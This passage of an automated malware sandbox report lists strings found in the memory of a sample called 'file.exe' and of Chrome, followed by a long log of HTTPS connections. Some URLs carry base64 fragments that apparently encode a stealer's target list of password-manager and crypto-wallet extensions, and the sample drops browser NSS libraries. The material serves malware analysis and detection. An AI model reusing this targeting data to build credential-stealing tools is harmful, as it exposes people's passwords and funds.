Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000001.00000003.1840782476.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841309510.00001F3C01268000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843490901.00001F3C013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843038794.00001F3C012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841025015.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1918905868.000000001DCBD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Java
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chromecache_79.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1821732666.00001F3C00ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000003.1840782476.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841309510.00001F3C01268000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843490901.00001F3C013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843038794.00001F3C012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841025015.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_79.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_79.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000001.00000003.1848180921.00001F3C01690000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848084744.00001F3C01688000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848420795.00001F3C016B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848391890.00001F3C016B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848033628.00001F3C01684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848267129.00001F3C01698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848221181.00001F3C01694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848306850.00001F3C016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848343051.00001F3C016AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848127222.00001F3C0168C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1848444110.00001F3C016B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1842977985.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840782476.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843490901.00001F3C013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843038794.00001F3C012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841025015.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1842632419.00001F3C01324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2084688157.0000000023EFF000.00000004.00000020.00020000.00000000.sdmp, IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: file.exe, 00000000.00000003.2084688157.0000000023EFF000.00000004.00000020.00020000.00000000.sdmp, IECFHDBAAECAAKFHDHIIJKFHJE.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
